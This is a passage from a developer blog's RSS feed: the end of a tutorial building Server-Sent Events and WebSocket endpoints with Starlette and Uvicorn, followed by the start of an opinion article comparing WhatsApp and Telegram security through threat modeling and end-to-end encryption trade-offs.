    rnd<span class="token punctuation">.</span>seed<span class="token punctuation">(</span>stream_id <span class="token operator">*</span> event_id<span class="token punctuation">)</span>
    <span class="token keyword">return</span> rnd<span class="token punctuation">.</span>randrange<span class="token punctuation">(</span><span class="token number">1000</span><span class="token punctuation">)</span></code></pre>
<p>Let’s now write the actual endpoints.</p>
<p>Getting started with Starlette is very simple. We just need to initialize
an <code>app</code> and then register some routes:</p>
<pre class="language-python"><code class="language-python"><span class="token keyword">from</span> starlette<span class="token punctuation">.</span>applications <span class="token keyword">import</span> Starlette

app <span class="token operator">=</span> Starlette<span class="token punctuation">(</span><span class="token punctuation">)</span></code></pre>
<p>To write a WebSocket service both our web server and framework of choice must
have explicit support. Luckily Uvicorn and Starlette are up to the task,
and writing a WebSocket endpoint is as convenient as writing a normal route.</p>
<p>This all the code that we need:</p>
<pre class="language-python"><code class="language-python"><span class="token keyword">from</span> websockets<span class="token punctuation">.</span>exceptions <span class="token keyword">import</span> WebSocketException

<span class="token decorator annotation punctuation">@app<span class="token punctuation">.</span>websocket_route</span><span class="token punctuation">(</span><span class="token string">"/ws{id:int}"</span><span class="token punctuation">)</span>
<span class="token keyword">async</span> <span class="token keyword">def</span> <span class="token function">websocket_endpoint</span><span class="token punctuation">(</span>ws<span class="token punctuation">)</span><span class="token punctuation">:</span>
    <span class="token builtin">id</span> <span class="token operator">=</span> ws<span class="token punctuation">.</span>path_params<span class="token punctuation">[</span><span class="token string">"id"</span><span class="token punctuation">]</span>
    <span class="token keyword">try</span><span class="token punctuation">:</span>
        <span class="token keyword">await</span> ws<span class="token punctuation">.</span>accept<span class="token punctuation">(</span><span class="token punctuation">)</span>

        <span class="token keyword">for</span> i <span class="token keyword">in</span> itertools<span class="token punctuation">.</span>count<span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">:</span>
            data <span class="token operator">=</span> <span class="token punctuation">{</span><span class="token string">"id"</span><span class="token punctuation">:</span> i<span class="token punctuation">,</span> <span class="token string">"msg"</span><span class="token punctuation">:</span> get_data<span class="token punctuation">(</span><span class="token builtin">id</span><span class="token punctuation">,</span> i<span class="token punctuation">)</span><span class="token punctuation">}</span>
            <span class="token keyword">await</span> ws<span class="token punctuation">.</span>send_json<span class="token punctuation">(</span>data<span class="token punctuation">)</span>
            <span class="token keyword">await</span> asyncio<span class="token punctuation">.</span>sleep<span class="token punctuation">(</span><span class="token number">1</span><span class="token punctuation">)</span>
    <span class="token keyword">except</span> WebSocketException<span class="token punctuation">:</span>
        <span class="token keyword">print</span><span class="token punctuation">(</span><span class="token string">"client disconnected"</span><span class="token punctuation">)</span></code></pre>
<p>The code above will make sure our <code>websocket_endpoint</code> function is called every time
a browser requests a path starting with <code>/ws</code> and followed by a number (e.g. <code>/ws1</code>, <code>/ws2</code>).</p>
<p>Then, for every matching request, it will wait for a WebSocket connection to be
established and subsequently start an infinite loop sending random numbers,
encoded as a JSON payload, every second.</p>

<p>For Server-Sent Events the code is very similar, except that no special
framework support is needed.
In this case, we register a route matching URLs starting with <code>/sse</code> and ending
with a number (e.g. <code>/sse1</code>, <code>/sse2</code>).
However, this time our endpoint just sets the appropriate headers and returns a <code>StreamingResponse</code>:</p>
<pre class="language-python"><code class="language-python"><span class="token keyword">from</span> starlette<span class="token punctuation">.</span>responses <span class="token keyword">import</span> StreamingResponse

<span class="token decorator annotation punctuation">@app<span class="token punctuation">.</span>route</span><span class="token punctuation">(</span><span class="token string">"/sse{id:int}"</span><span class="token punctuation">)</span>
<span class="token keyword">async</span> <span class="token keyword">def</span> <span class="token function">sse_endpoint</span><span class="token punctuation">(</span>req<span class="token punctuation">)</span><span class="token punctuation">:</span>
    <span class="token keyword">return</span> StreamingResponse<span class="token punctuation">(</span>
        sse_generator<span class="token punctuation">(</span>req<span class="token punctuation">)</span><span class="token punctuation">,</span>
        headers<span class="token operator">=</span><span class="token punctuation">{</span>
            <span class="token string">"Content-type"</span><span class="token punctuation">:</span> <span class="token string">"text/event-stream"</span><span class="token punctuation">,</span>
            <span class="token string">"Cache-Control"</span><span class="token punctuation">:</span> <span class="token string">"no-cache"</span><span class="token punctuation">,</span>
            <span class="token string">"Connection"</span><span class="token punctuation">:</span> <span class="token string">"keep-alive"</span><span class="token punctuation">,</span>
        <span class="token punctuation">}</span><span class="token punctuation">,</span>
    <span class="token punctuation">)</span></code></pre>
<p><code>StreamingResponse</code> is an utility class, provided by Starlette, which takes a generator and streams
its output to the client, keeping the connection open.</p>
<p>The code of <code>sse_generator</code> is shown below, and is almost identical to the WebSocket
endpoint, except that messages are encoded according to the Server-Sent Events
protocol:</p>
<pre class="language-python"><code class="language-python"><span class="token keyword">async</span> <span class="token keyword">def</span> <span class="token function">sse_generator</span><span class="token punctuation">(</span>req<span class="token punctuation">)</span><span class="token punctuation">:</span>
    <span class="token builtin">id</span> <span class="token operator">=</span> req<span class="token punctuation">.</span>path_params<span class="token punctuation">[</span><span class="token string">"id"</span><span class="token punctuation">]</span>
    <span class="token keyword">for</span> i <span class="token keyword">in</span> itertools<span class="token punctuation">.</span>count<span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">:</span>
        data <span class="token operator">=</span> get_data<span class="token punctuation">(</span><span class="token builtin">id</span><span class="token punctuation">,</span> i<span class="token punctuation">)</span>
        data <span class="token operator">=</span> <span class="token string">b"id: %d\ndata: %d\n\n"</span> <span class="token operator">%</span> <span class="token punctuation">(</span>i<span class="token punctuation">,</span> data<span class="token punctuation">)</span>
        <span class="token keyword">yield</span> data
        <span class="token keyword">await</span> asyncio<span class="token punctuation">.</span>sleep<span class="token punctuation">(</span><span class="token number">1</span><span class="token punctuation">)</span></code></pre>
<p>We are done!</p>
<p>Finally, assuming we put all our code in a file named <code>server.py</code>, we can start
our backend endpoints using Uvicorn, like so:</p>
<pre class="language-text"><code class="language-text">$ uvicorn --host 127.0.1.1 --port 6001 server:app &#x26;
$ uvicorn --host 127.0.1.1 --port 6002 server:app &#x26;</code></pre>
<h2 id="bonus">Bonus: Cool SSE features<a aria-hidden="true" tabindex="-1" class="h-anchor" href="#bonus"><span class="icon icon-link"></span></a></h2>
<p>Ok, let us now conclude by showing how easy it is to implement all those nice features we bragged about earlier.</p>


<p><strong>Compression</strong> can be enabled by changing just a few lines in our endpoint:</p>
<pre class="language-diff"><code class="language-diff">@@ -32,10 +33,12 @@ async def websocket_endpoint(ws):
<span class="token unchanged"> 
 async def sse_generator(req):
     id = req.path_params["id"]
</span><span class="token inserted-sign inserted">+    stream = zlib.compressobj()
</span><span class="token unchanged">     for i in itertools.count():
         data = get_data(id, i)
         data = b"id: %d\ndata: %d\n\n" % (i, data)
</span><span class="token deleted-sign deleted">-        yield data
</span><span class="token inserted-sign inserted">+        yield stream.compress(data)
+        yield stream.flush(zlib.Z_SYNC_FLUSH)
</span><span class="token unchanged">         await asyncio.sleep(1)
 
 
</span>@@ -47,5 +50,6 @@ async def sse_endpoint(req):
<span class="token unchanged">             "Content-type": "text/event-stream",
             "Cache-Control": "no-cache",
             "Connection": "keep-alive",
</span><span class="token inserted-sign inserted">+            "Content-Encoding": "deflate",
</span><span class="token unchanged">         },
     )</span></code></pre>
<p>We can then verify that everything is working as expected by checking the DevTools:</p>
<p><img src="https://germano.dev/src/assets/images/sse-compression.png" alt="SSE Compression"></p>
<p><strong>Multiplexing</strong> is enabled by default since Caddy supports HTTP/2. We can confirm
that the same connection is being used for all our SSE requests using the
DevTools again:</p>
<p><img src="https://germano.dev/src/assets/images/sse.png" alt="SSE Multiplexing"></p>
<p><strong>Automatic reconnection</strong> on unexpected connection errors is as simple as
reading the <a href="https://html.spec.whatwg.org/multipage/server-sent-events.html#last-event-id"><code>Last-Event-ID</code></a> header in our backend code:</p>
<pre class="language-diff"><code class="language-diff"><span class="token deleted-arrow deleted">&#x3C;     for i in itertools.count():
</span><span class="token coord">---</span>
<span class="token inserted-arrow inserted">>     start = int(req.headers.get("last-event-id", 0))
>     for i in itertools.count(start):</span></code></pre>
<p><em>Nothing has to be changed in the front-end code.</em></p>
<p>We can test that it is working by starting the connection to one of the SSE
endpoints and then killing uvicorn. The connection will drop, but the browser
will automatically try to reconnect. Thus, if we re-start
the server, we will see the stream resume from where it left off!</p>
<p>Notice how the stream resumes from the message <code>243</code>.  Feels like magic 🔥</p>
<p><img src="https://germano.dev/src/assets/images/sse-auto-reconnect.gif" alt="Prova"></p>
<h2 id="conclusion">Conclusion<a aria-hidden="true" tabindex="-1" class="h-anchor" href="#conclusion"><span class="icon icon-link"></span></a></h2>

<p>WebSockets are a big machinery built on top of HTTP and TCP to provide a set
of extremely specific features, that is <strong>two-way</strong> and <strong>low latency</strong> communication.</p>
<p>In order to do that they introduce a number of complications, which end up
making both client and server implementations more complicated than solutions
based entirely on HTTP.</p>
<p>These complications and limitations have been addressed by new specs (<a href="https://tools.ietf.org/html/rfc7692">RFC 7692</a>, <a href="https://tools.ietf.org/html/rfc8441">RFC 8441</a>), and
will slowly end up implemented in client and server libraries.</p>


<p>However, even in a world where WebSockets have no technical downsides, they will
still be a fairly complex technology, involving a large amount of additional code both on clients and servers.
Therefore, you should carefully consider if the addeded complexity is worth it,
or if you can solve your problem with a much simpler solution, such as Server-Sent Events.</p>
<hr>
<p>That’s all, folks! I hope you found this post interesting and maybe learned
something new.</p>
<p><a href="https://github.com/tyrion/sse-websockets-demo">Feel free to check out the code of the demo on GitHub</a>, if you want to experiment
a bit with Server Sent Events and Websockets.</p>
<p><a href="https://html.spec.whatwg.org/#server-sent-events">I also encourage you to read the spec</a>, because it surprisingly clear and contains
many examples.</p>
]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[On the security of WhatsApp and Telegram]]></title>
            <link>https://germano.dev/whatsapp-vs-telegram/</link>
            <guid>https://germano.dev/whatsapp-vs-telegram/</guid>
            <pubDate>Tue, 02 Feb 2021 00:00:00 GMT</pubDate>
            <description><![CDATA[Many people hold the firm belief that WhatsApp is more secure and privacy-wise better than Telegram. Is that really the case?
]]></description>
            <content:encoded><![CDATA[

<p>Many people, even among security experts and privacy advocates, hold the firm
belief that WhatsApp is more <em>secure</em> and privacy-wise better than Telegram.
After having thoroughly studied the issue, I do not believe this to be true.
In this article I will try to highlight the necessary facts to enable the
reader to form a more informed opinion on the matter.</p>
<section class="contents">
<h2 id="contents">Contents<a aria-hidden="true" tabindex="-1" class="h-anchor" href="#contents"><span class="icon icon-link"></span></a></h2>
<ol>
<li><a href="#prologue">Prologue</a></li>
<li><a href="#fallacies">The fallacies</a></li>
<li><a href="#threat-modeling">Threat modeling</a></li>
<li><a href="#e2ee">End-to-end encryption</a><ol>
<li><a href="#app-trust">Trust in the app</a></li>
<li><a href="#secure-backups">Secure backups</a></li>
<li><a href="#auth">Authentication</a></li>
<li><a href="#sync">Device synchronization</a></li>
</ol></li>
<li><a href="#telegram">Criticism of Telegram</a><ol>
<li><a href="#default-e2ee">No end-to-end encryption by default</a></li>
<li><a href="#rolled-their-own">They rolled their own crypto</a></li>
<li><a href="#vulns">History of Telegram vulnerabilities</a></li>
<li><a href="#defamation">Defamation</a></li>
</ol></li>
<li><a href="#conclusion">Conclusion</a></li>
</ol>
</section>
<h2 id="prologue">Prologue<a aria-hidden="true" tabindex="-1" class="h-anchor" href="#prologue"><span class="icon icon-link"></span></a></h2>
<p>Most sources which praise WhatsApp and criticize Telegram make bold claims,
presenting them as objective truth, without
sufficiently motivating them or backing them up with facts. In many cases they
rely on <a href="https://en.wikipedia.org/wiki/Argument_from_authority">arguments from authority</a>:</p>
<blockquote>
<p>[Telegram] By default, it is less safe than @WhatsApp, which makes [it] dangerous
for non-experts. — <a href="https://twitter.com/Snowden/status/778597417797226496">Ed. Snowden (Sep, 2016)</a></p>
</blockquote>
<p>I realize that many of you will be sceptical now. After all, if Edward Snowden
said so, it <em>must</em> be true. Why would you question it? And why, above all, should we <em>believe</em> you instead?</p>
<p>Well, the point is exactly this. I am not asking you to believe <em>me</em>, but to
evaluate the facts, with an open mind, before forming an opinion.
Moreover, even if it might be hard to accept, even heroes and geniuses like Edward
Snowden can be wrong from time to time!</p>
<p>I made a good faith attempt to research all the facts and present them as
objectively as possible, without including personal biases. However, please
keep in mind that I do not consider myself infallible, and thus there might be
some mistakes. Feel free to let me know what you think.</p>




<h2 id="fallacies">The fallacies<a aria-hidden="true" tabindex="-1" class="h-anchor" href="#fallacies"><span class="icon icon-link"></span></a></h2>
<p>The vast majority of things I read on this topic can be reduced to a combination
of the following factors:</p>

<ol>
<li>Not considering a <a href="https://en.wikipedia.org/wiki/Threat_model">threat model</a>.</li>
<li>The <a href="https://en.wikipedia.org/wiki/False_premise">false premise</a> that end-to-end encryption alone is a necessary and
sufficient condition for good security and privacy.</li>
<li>The erroneous conclusion that everything that is not end-to-end encrypted is
inherently less secure and must be avoided at all cost.</li>
<li>The huge respect for <a href="https://en.wikipedia.org/wiki/Moxie_Marlinspike">Moxie Marlinspike</a>, one of the authors of the
<a href="https://en.wikipedia.org/wiki/Signal_Protocol">end-to-end encryption protocol</a> used by WhatsApp and
Signal, leading to <a href="https://en.wikipedia.org/wiki/Argument_from_authority">arguments from authority</a>.</li>
<li>Outright lies about the insecurity of the cryptographic protocol used by
Telegram.</li>
</ol>
<p>The rest of the article is dedicated to amply clarify each of the points
above. In <a href="#threat-models">section 3</a> I will articulate the importance of considering threat
models when trying to determine if a system is <em>secure</em>. In <a href="">section 4</a>
I will discuss end-to-end encryption, the challenges that it entails and how it
is implemented in WhatsApp and Telegram. In <a href="#telegram">section 5</a> I will address the most
common criticisms of Telegram, and finally, in <a href="#conclusion">section 6</a>, I will draw some conclusions.</p>


<h2 id="threat-modeling">Threat modeling<a aria-hidden="true" tabindex="-1" class="h-anchor" href="#threat-modeling"><span class="icon icon-link"></span></a></h2>
<blockquote>
<p>Threat modeling answers questions like “Where am I most vulnerable to attack?”, “What are the most relevant threats?”, and “What do I need to do to safeguard against these threats?”. — <a href="https://en.wikipedia.org/wiki/Threat_model">Wikipedia</a></p>
</blockquote>
<p>Searching on Hacker News for <a href="https://hn.algolia.com/?dateRange=all&#x26;page=0&#x26;prefix=false&#x26;query=%22whatsapp%20is%20more%20secure%22&#x26;sort=byPopularity&#x26;type=all">“WhatsApp is more secure”</a>
yields some typical comments from people arguing that WhatsApp is more secure
than Telegram</p>
<blockquote>
<p>Telegram is more fun (bots and stickers), but <strong>WhatsApp is more secure</strong>
(no messages on server, no rolled-your-own-crypto). — <a href="https://news.ycombinator.com/item?id=14374644">hn</a></p>
</blockquote>
<p>Or even that Telegram is the least secure</p>
<blockquote>
<p>How can anyone call “Telegram” secure? Those days are over. It’s the least
secure messaging app of them all now. <strong>Even WhatsApp is more secure than
Telegram</strong> (let alone Threema). — <a href="https://news.ycombinator.com/item?id=13032192">hn</a></p>
</blockquote>
<p>But, what does it really mean that WhatsApp is <em>more secure</em>? Secure against the
government? Secure against your friendly neighbourhood hacker snooping on
the Wi-Fi at Starbucks?
Secure against throwing rocks at your phone? Secure against your mom trying to
read your messages?</p>
<p>Defending from an adversary with practically unlimited budget and computational
resources, such as a powerful government, is going to be much harder than
defending against a curious neighbour sniffing on your Wi-Fi.</p>
<p><strong>Saying that WhatsApp is more secure than Telegram,
without specifying against what kind of adversary or against what kind of threat,
does not mean much.</strong></p>

<p>Without considering these questions and only craving for <em>“more security”</em>, <strong>is
not necessarily a smart thing</strong> either.
In the same way that putting your possessions in a nuclear bunker
might be more secure, in
case of a nuclear war, than locking them in a small safe in your room, but could
not be the best choice if all you are trying to do is protect your Blu-ray
collection from your flatmate!
Moreover, <strong>increasing security is often not free</strong>, because
it increases complexity, thus development cost, and can decrease usability. Exactly like a nuclear bunker
is going to be much more expensive than a small safe and is also not going to be
as easy to use.
Lastly, it is important to note that <strong>you are as secure as the weakest link in your system</strong>.
Therefore, if you want a nuclear bunker, with all the challenges and costs that
it entails, but then forget to put a lock on its door, it might not protect you that
much after all.</p>


<p>Consequently, let us now try to examine which of the <em>components</em> involved in
using a messaging app can be potentially attacked by a malicious agent,
compromising our security.
For each of these, <em>you</em> need to establish if you blindly trust it to function
correctly, or if you believe it could be compromised and thus need to find a way
to defend it from the potential threat.</p>

<ul>
<li><strong>The companies running the servers needed by the app to work</strong>. That is,
Facebook, Telegram and whatever other third party services they decide to
use or share your data with.<ol>
<li>Are you OK with them being able to read your messages?</li>
<li>Do you trust them on keeping your data safe? So that it does not get
stolen, for example.</li>
<li>Are you OK with them selling your data or meta-data to advertisers?</li>
</ol></li>
<li><strong>The app itself</strong>. That is, the WhatsApp or Telegram apps on your
phone.<ol>
<li>Do you trust that it does exactly what it says and is not malicious? For
example that it is always encrypting your messages.</li>
<li>Do you trust its developers to be good citizens and not insert backdoors?</li>
</ol></li>
<li><strong>The communication medium</strong>. That is, the Internet.<ol>
<li>Do you trust the connection between you and the app’s servers to be
secure?</li>
<li>Do you trust your ISP?</li>
</ol></li>
<li><strong>The distribution and update process</strong>. For example, the Play Store, App
Store or F-Droid. Do you trust Google and Apple to give you the real app,
and not a specially crafted one to spy on you?</li>
<li><strong>The other apps on your phone</strong>. Do you trust all the other apps on your
phone, or do you think some of them might be malware?</li>
<li><strong>The OS</strong>. That is, Android or iOS. Do you trust your
operative system and its developers (e.g. Google, Samsung, Apple)? For example,
do you trust that no malicious actor can remotely <a href="https://www.tripwire.com/state-of-security/latest-security-news/gaps-in-google-play-store-xfo-allow-attackers-to-remotely-install-malware-on-android-devices/">install</a>
or <a href="https://android-developers.googleblog.com/2010/06/exercising-our-remote-application.html">uninstall</a> software on your device?</li>
<li><strong>The firmware and the hardware</strong>. Do you trust your phone is not running
malware at the firmware or hardware level,
<a href="https://redmine.replicant.us/projects/replicant/wiki/SamsungGalaxyBackdoor">like it was discovered on Samsung phones in 2014</a>?</li>
</ul>
<p>Whew, that was quite a list!</p>
<p>But, <strong>do we really need to care about all of this stuff?</strong> Well, not many
people do.
However, if you want to evaluate which messaging app best suits your needs and
you care a bit about security and privacy, then it is essential.
This process will enable you to decide for yourself, without basing your decision
on some tweet saying that one app is <em>more secure</em> than the other.</p>

<p>Nonetheless, it is important to reiterate that if you are worried that a powerful
adversary, like a government, might want to directly target you (as opposed to
compromise you as part of a mass surveillance program), you cannot defend only
against one attack vector and ignore the others.
You can have the most secure messaging app in the world, but if your phone can be hacked
with an SMS, there is not much of a difference.</p>


<p>You might wonder why couldn’t we just try to defend ourselves against all possible
threats and attacks. It is because, as we said before and as we will show in more
detail in the next section, increasing security is not free but comes
with the cost of increased complexity and very often decreased usability.</p>

<h2 id="e2ee">End-to-end encryption<a aria-hidden="true" tabindex="-1" class="h-anchor" href="#e2ee"><span class="icon icon-link"></span></a></h2>
<p>Let us now address the most common reason that induces people to believe that
WhatsApp is a better choice: <a href="https://en.wikipedia.org/wiki/End-to-end_encryption">end-to-end encryption</a>.</p>

<p>WhatsApp describes end-to-end encryption (or E2EE for short) in the following way:</p>
<blockquote>
<p>End-to-end encryption ensures only you and the person you’re communicating
with can read or listen to what is sent, and nobody in between, not even
WhatsApp. This is because with end-to-end encryption, your messages are
secured with a lock, and only the recipient and you have the special key
needed to unlock and read them. All of this happens automatically: no need to
turn on any special settings to secure your messages. — <a href="https://faq.whatsapp.com/general/security-and-privacy/end-to-end-encryption/?lang=en">WhatsApp FAQ</a></p>
</blockquote>
<p>WhatsApp nowadays has end-to-end encryption enabled by default for all chats,
while Telegram has not enabled it by default and does not support it on group
chats.</p>
<p>This is undoubtedly a very nice property to have. If implemented correctly it
allows us to communicate securely, even in the case in which the server (i.e.
WhatsApp or Telegram) cannot be trusted and is considered malicious.
However, if we decide to go down this road and not trust any more the companies
running our app, we introduce a series of new complications.</p>
<p>However, one could argue that even in the case in which we decide to trust the
Service, it is beneficial to have end-to-end encryption. This is a valid point because, while
we might trust the Service, for sure we do not trust some potential malicious
actors compromising the Service’s infrastructure and getting access to our data. In
this scenario our data should still be safe because not even the Service has
access to it, and therefore an attacker cannot steal the decryption key nor
coerce the Service to disclose it. This is the major strength of
E2EE.
Nonetheless, it is worth to stress that in this scenario we assumed to trust
the Service on having implemented E2EE correctly, even though we cannot verify it
ourselves, and if that assumption fails to hold in practice, we lose all our guarantees.</p>
<p>In the rest of the section I will highlight
some of the issues that need to be addressed when implementing end-to-end
encryption correctly and the corresponding usability trade-offs.
At the end it should be clear beyond any reasonable doubt that
<strong>it is impossible to consider WhatsApp’s end-to-end encryption secure
if we do not blindly trust Facebook first</strong>.</p>
<p>To see this, remember that we are assuming that the Service (i.e. WhatsApp or
Telegram) is not to be trusted with access to our messages. For this reason
we decide to use end-to-end encryption. We want to make sure that they <strong>really</strong>
cannot read those messages, <strong>we cannot just take their word for it</strong>.</p>
<p>Now consider the following scenarios.</p>

<h3 id="app-trust">Trust in the app<a aria-hidden="true" tabindex="-1" class="h-anchor" href="#app-trust"><span class="icon icon-link"></span></a></h3>
<p>How do we know that the app installed in our phone is
really using end-to-end encryption? Of course WhatsApp and Telegram are
promising us that they really are good boys. But remember: this time we
decided we would not just take their word for it. What if every once in a while
the app sent to the Service all our chats unencrypted? How would we know?</p>
<p><em>This means that we need a way to independently audit the app.</em> A way in which
we could increase our confidence that the app is not malicious is if it was
audited by a third party, or even better if it was also developed in the open
as a <a href="https://en.wikipedia.org/wiki/Free_and_open-source_software">free and open-source</a> project, hopefully with the active
involvement of the community and using well-tested libraries as its backbone.</p>
<p>An other possible solution is to simply not use the official app, and use
instead a third party client that we can trust more.</p>
<p>Unfortunately WhatsApp is <a href="https://en.wikipedia.org/wiki/Proprietary_software">proprietary software</a> and
<a href="https://www.whatsapp.com/legal/">its terms of service forbid to reverse engineer it</a>.
Moreover, <a href="https://web.archive.org/web/20140301181938/http://openwhatsapp.org/blog/2014/02/13/mass-dmca-takedowns-whatsapp/">Facebook actively fights against any third party clients</a>.
<a href="https://telegram.org/apps#source-code">Telegram instead has free and open-source clients</a> and even
<a href="https://core.telegram.org/reproducible-builds">supports reproducible builds</a> which can
increase the confidence that the app
you are running is really built from the published code and not just some
malware.</p>

<h3 id="secure-backups">Secure backups<a aria-hidden="true" tabindex="-1" class="h-anchor" href="#secure-backups"><span class="icon icon-link"></span></a></h3>
<p>As we already discussed previously, enhanced security
often leads to usability challenges. Secure handling of backups is a perfect
example of this principle.</p>
<p>We decided to use end-to-end encryption because we wanted to make sure that only
the intended recipient can read our messages. However, end-to-end encryption
only protects our messages <em>in transit</em>. What happens when we receive a
message? What if some of our contacts are storing a copy of their
messages unencrypted somewhere on the cloud? That is bad:
we started from the assumption of not wanting to trust the Service with
access to our messages, and now we are forced to trust whatever external
backup service (e.g. Google Drive, iCloud) our contacts decide to use!</p>
<p>One of the benefits of having our messages securely stored encrypted with a
key that
is known only to you and the recipient, is that even if some attacker obtains
those
encrypted messages, there is no way they can read them. Not even by forcing
the Service to disclose the encryption keys, because the Service does not have
access to the keys. However, this guarantee is lost if an attacker can steal,
or in the case of a government, force the disclosure of,
our unencrypted backups from Google Drive or iCloud.</p>
<p>Unfortunately, backups made with WhatsApp are only partially encrypted.
Messages are encrypted, while images, videos, documents and audio files are not.
<a href="https://github.com/B16f00t/whapa">You can verify this yourself</a>.
Moreover, WhatsApp <em>must</em> have access to the decryption key, because it allows restoring
backups without prompting for a password.
You can opt out, but since backups are
a very important feature <a href="https://www.youtube.com/watch?v=C-phQXGhrLQ&#x26;t=19m5s">most people have them enabled</a>,
for the simple reason
that if you opt out
and then lose your phone, your messages are lost forever.</p>
<p>Telegram, on the other hand, does not allow backups of secret chats (i.e. their name for end-to-end
encrypted conversations).</p>

<h3 id="auth">Authentication<a aria-hidden="true" tabindex="-1" class="h-anchor" href="#auth"><span class="icon icon-link"></span></a></h3>
<p>End-to-end encryption requires messages to be encrypted with the recipient
public key. This ensures that only the corresponding private key possessed
by the recipient can decrypt them.</p>
<p>However, how do we obtain the recipient’s public key? And how do we make sure
it is the correct one? It is good to know that our messages are protected
against potential eavesdroppers, however it is not much use if we are sending
them to the wrong person!</p>
<p>The correct way to solve this problem is to verify each other’s public keys
using a <strong>different secure communication channel</strong>. For example, you should
meet in person with each and every contact that you care about and scan
their qr-code to authenticate them, or maybe more simply through a normal
phone call. If you are not doing this, you are simply trusting the Service
to provide you the correct public key, completely defeating our initial goal.</p>
<p>An other important detail is that public keys can change, for example when
you change your phone, requiring you to repeat the manual authentication
process all over again. Any application that implements end-to-end encryption
seriously
must notify you when one of your contacts’ public key changes, as it means
that you are not sure anymore who you are talking to. It could just mean that
your contact bought a new
phone, or maybe that your contact’s phone has been stolen and somebody is
impersonating them! You have no way of knowing without first repeating
the manual authentication process.</p>
<p>Unfortunately, <strong>WhatsApp does not show any notification on key changes</strong>, unless
you manually turn on <a href="https://faq.whatsapp.com/general/security-and-privacy/security-code-change-notification/?lang=en">“Show Security Notifications”</a>
in the settings, and even then
the message that is displayed does not give any hint of the possible security
threat. This is in apparent contradiction with their FAQs, which claim there is
<em><a href="https://faq.whatsapp.com/general/security-and-privacy/end-to-end-encryption/?lang=en">“no need to
turn on any special settings to secure your messages”</a></em>.
Moreover, even with that setting enabled, <a href="https://www.eff.org/deeplinks/2017/01/google-launches-key-transparency-while-tradeoff-whatsapp-called-backdoor">WhatsApp forces the client to
automatically re-send undelivered messages and re-encrypt them with the new
key</a>.</p>
<p>Telegram does not handle this perfectly either. Secret chats are tied to an
user’s public key. Therefore, if an user changes key, a new secret chat needs
to be manually started.
The problem is that <strong>Telegram does not notify you that
the old chat is now useless</strong>. If you do not know that the person
you are chatting with changed key, you are going to send messages encrypted
with the wrong key and nobody is going to receive them.
Although this behaviour does not allow to unknowingly send messages to an attacker,
unlike WhatsApp, it is a rather severe usability deficiency.</p>
<h3 id="sync">Device synchronization<a aria-hidden="true" tabindex="-1" class="h-anchor" href="#sync"><span class="icon icon-link"></span></a></h3>
<p>An other trade-off between security and usability
is evident in the case of device synchronization. If the messages are encrypted
with a key that is unique for each device, it becomes difficult to let
users access their conversations on multiple devices at the same time. How
can you decrypt a message on your computer if the required private key is
stored on your phone? </p>

<p>The solution that WhatsApp adopted to this problem in their WhatsApp Web
client is to require the phone to be connected to the same local network as
the WhatsApp Web client. All the traffic is then routed through the phone, which
in turn performs the encryption/decryption of messages. Therefore, WhatsApp
Web is not a real standalone client as it cannot work without the phone.
The drawback is that you cannot use WhatsApp Web, for example, if your phone
is discharged.
Even worse, your phone becomes a single point of failure, because if lost or
stolen you will not be able to access your account until you manage to obtain
a new copy of your SIM card. Moreover, being a JavaScript web application,
WhatsApp Web requires that, on every use, you trust Facebook not to inject malicious
JavaScript. There is no way of using it without trusting Facebook.</p>
<p>Not having end-to-end encryption by default, while requiring trust in the Service,
makes life much easier on the
usability side for Telegram. There are real, standalone clients available
for every platform and device synchronization is seamless. In case you lose your phone, you can still access your
account as long as you were logged in on a second device, such as your computer.</p>

<h2 id="telegram">Criticism of Telegram<a aria-hidden="true" tabindex="-1" class="h-anchor" href="#telegram"><span class="icon icon-link"></span></a></h2>
<p>We talked about the challenges introduced by E2EE and how WhatsApp mainly fails
to address them properly. Let us now talk about the main issues that people have
with Telegram’s security.</p>
<h3 id="default-e2ee">No end-to-end encryption by default<a aria-hidden="true" tabindex="-1" class="h-anchor" href="#default-e2ee"><span class="icon icon-link"></span></a></h3>
<p>A popular criticism of Telegram, and the main reason it is considered less
secure than WhatsApp, is that it does not support end-to-end encryption by
default.</p>

<p>We already talked, in section 3, about how arguing that something is “more
secure” without considering threat models is not very meaningful. We also discussed,
in section 4, the non-trivial challenges that arise when implementing end-to-end
encryption, and how WhatsApp fails to address them.</p>
<p>However, we could wonder why Telegram didn’t come up with a solution to those
challenges that would allow them to enable end-to-end encryption by default
without sacrificing any usability.</p>
<p>The answer is that nobody knows how to accomplish this, yet.</p>
<p>There are messaging apps that correctly implement end-to-end encryption,
without requiring the user to trust the Service, and also
try to address the mentioned usability challenges, such as <a href="https://signal.org/">Signal</a>,
<a href="https://keybase.io/">Keybase</a>, <a href="https://element.io/">Element</a>, etc.
However, it is not controversial to state that their usability is not yet
comparable to that of Telegram (even though they are constantly improving and
hopefully will get there soon). For example, Signal lacks, at the moment,
standalone desktop clients.</p>
<p>Telegram decided not to make any compromises on usability, requiring users to
trust them on keeping their data safe. Advanced users, which need end-to-end
encryption and are willing to trade a bit of usability for improved security
guarantees, are able to do so by using secret chats.
This choice is very often heavily criticized by tech-savvy users, who prioritize
security well over everything else, including usability. However, what is right
for one does not have to be right for everyone. In fact, <a href="https://t.me/durov/147">the popularity of Telegram</a>
shows that many are happy with this choice.</p>
<p><a href="https://en.wikipedia.org/wiki/Pavel_Durov">Pavel Durov</a>, one of the founders of Telegram, <a href="https://telegra.ph/Why-Isnt-Telegram-End-to-End-Encrypted-by-Default-08-14">further defends his choice of not enabling end-to-end encryption by default</a>,
by describing their “distributed cross-jurisdictional encrypted cloud storage” infrastructure
and claiming that, to this day, they <a href="https://telegram.org/faq#q-do-you-process-data-requests">“have disclosed 0 bytes of user data to third parties, including governments”</a>. These are all positive things, however, it is important to remind the reader
that there is no way, to my knowledge, of verifying these claims, without
trusting Telegram.</p>
<h3 id="rolled-their-own">They rolled their own crypto<a aria-hidden="true" tabindex="-1" class="h-anchor" href="#rolled-their-own"><span class="icon icon-link"></span></a></h3>

<p>As soon as Telegram was first released they have been immediately criticized
for rolling their own crypto and for making some non-standard choices in their
protocol design.</p>
<blockquote>
<p>[..] they’ve made some extremely unusual protocol choices that they need to
publicly justify rather than simply describing in an API doc. [..] —
<a href="https://news.ycombinator.com/item?id=6915741">Moxie Marlinspike (Dec, 2013)</a></p>
</blockquote>
<p>Developing a new cryptographic protocol, even more so by someone that
is not a cryptographer, is generally considered a bad idea.</p>
<blockquote>
